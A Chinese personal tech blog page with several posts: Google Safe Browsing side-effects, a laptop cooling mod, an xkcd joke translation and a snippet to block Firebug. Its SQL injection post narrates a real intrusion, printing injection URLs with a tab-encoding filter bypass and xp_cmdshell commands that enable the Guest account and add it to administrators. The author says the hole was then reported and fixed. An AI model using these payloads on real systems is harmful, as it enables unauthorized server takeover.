無標題文檔

Google Safe Browsing 的策略

很多时候得益于 Google Safe Browsing 可免于恶意代码攻击,但有时候此功能也会对用户造成困扰。

http://pic.yupoo.com/feelinglucky/717088785940/medium.jpg

测试发现只要请求了在 Google Safe Browsing 中沦为黑名单中的站点资源(无论此页面是否为此域下甚至是本地页面),Chrome 浏览器提示禁止用户继续浏览页面。

那么想象下此情况会造成的影响,在任何可以输入内容的站点中,加入已知已被 Google Safe Browsing 扔到黑名单下的某域资源,那么该站点就会被牵连。

进一步的,我们可以做个这样的测试,使用 Chrome 打开 Google Reader ,订阅下面的 RSS 种子

http://feed.feedsky.com/malware

在你打开此 RSS 种子的条目时,Google Safe Browsing 的策略甚至无法让您继续正常浏览 Google Reader。

这虽然算不上安全漏洞,但对于「捉弄」目标站点,以及影响其他在 Google Safe Browsing 的策略下访问此站点的用户而言,已经能造成一定的困扰。

因此,当我们引用第三方资源时,尽可能的检查下对方是否在 Google Safe Browsing 的黑名单中,否则被「连坐」是很无辜的 :^(

注:上面的情况在 Google Chrome 4.0.237.0 中测试通过,Chromium 没有加入 Google Safe Browsing 无反应

-- EOF --

典型的 SQL 注入过程

此漏洞已帮其修复,并知会当事人

SQL 注入 漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

https://friable.rocks/_/2009_11_11/1257999312.gif

访问某站点的搜索页面,发现输入单引号「'」就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。

分析

根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句

https://friable.rocks/_/2009_11_11/1257999379.gif

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身

https://friable.rocks/_/2009_11_11/1257999485.png

扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

https://friable.rocks/_/2009_11_11/1257999508.png

并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

https://friable.rocks/_/2009_11_11/1257999460.gif

上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名「guest」密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。

重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。

后记

正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

-- EOF --

改造笔记本的散热系统

该死的惠普,有时候也是「实惠但不靠谱」,特别是散热方面。终于忍受不了我笔记本的散热 问题了,决定非要搞定这事。

从 Google 那儿得知原来 这款机子设计上有问题 , CPU 芯片和 GPU 芯片不在同一水平线上,因此 GPU 的散热无法直接通过金属散热片。更要 命的是惠普还用海绵将 GPU 和散热片垫起来(是怕压坏?),从而造成 GPU 的散热更加的 困难。

PC 的优势就这样发挥出来了, 三下五除二就用把螺丝刀将笔记本大卸八块 。拆开那销魂的主 板,发现事实果然如此。

https://friable.rocks/_/2009_11_05/456648171061.jpg

中间的灰色物质便是海绵垫,看得出其实惠普是给 GPU 留个散热片的位置,但不过间隙实 在太大,因此没派上用场。

https://friable.rocks/_/2009_11_05/897398170c3b.jpg

再来看看这块捣蛋鬼,现在 GPU 的发热量不比 CPU 低多少,难熬的还是用户自己。

去数码城搞定了散热硅胶以及相关的工具,里面的间隙我用的是硬币慢慢用锉刀和砂纸打磨 而成(别告发我破坏人民币呀)。

https://friable.rocks/_/2009_11_05/007738170a85.jpg

垫上打磨好的硬币,加上导热硅胶,使 GPU 直接和散热片接触(上面张为图例), 这样据说这样就能解决问题了。

重新装回去,这花了我不少的时间,到最后还多出四颗小螺丝、少了三颗大螺丝。 测试了下温度,发现平时稍微跑个大型程序 GPU 温度就能狂飙 100 摄氏度的情况大有改善。基本上一晚 上按照平时的使用情况,GPU 的温度始终没有超过 70 摄氏度。

https://friable.rocks/_/2009_11_05/470848170a74.jpg

垫了块硬币就能直接降温三四十度?!我对这个结果感到很惊讶 -- 惠普不会穷得连每 台机子加个硬币的成本都没有把,我文明用语。

好吧,总结下今晚折腾的心得

最后,笔记本的散热问题一定要早解决,否则烤大腿是小事,影响子孙后代的质量可就是大 事了。

-- EOF --

便槽协议的脆弱性

标题党下,其实这篇是伪科学文章。老外老外能将生涩的算法举例得如此的生动,着实让我感到佩服。这篇文章只为 博君一笑,所以翻译方面就不用那么严谨啦,嘿嘿~

原文链接: http://blag.xkcd.com/2009/09/02/urinal-protocol-vulnerability/ 的评论也很精彩,在这里摘抄些:

禁止使用 Firebug

相信没有人不知道 Firebug 是什么东西,但有时候我们糟糕的代码不想让同行轻松的使用 F12 就能一览无遗。

那么怎么办呢?

这里有个猥琐的办法帮你实现这个愿望

if( window.console && window.console.firebug ) {
    document.body.innerHTML = '';
}

如果还觉得不保险,那顺便连 F12 也禁止吧

document.onkeydown = function(e)  {
    if (123 == (e || {}).keyCode)  return false;
}

哦也,从此大家开始写垃圾代码吧,没人看我们代码喽

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 其实无所谓叫什么名字,作为码农知道取名是件很难的事情。最后想到的这个名字,其实都没啥特别的含义,系统默认的文件名而已。

作为八零后,自认为还仅存点傲娇式的幽默感,以及对平淡生活的追求和向往。 为了免得对号入座和不必要的麻烦,声明本站点所持观点仅代表个人意见,不代表自己所服务公司的立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQGdyYWNlY29kZS5jb20K | base64 -d`

文章

项目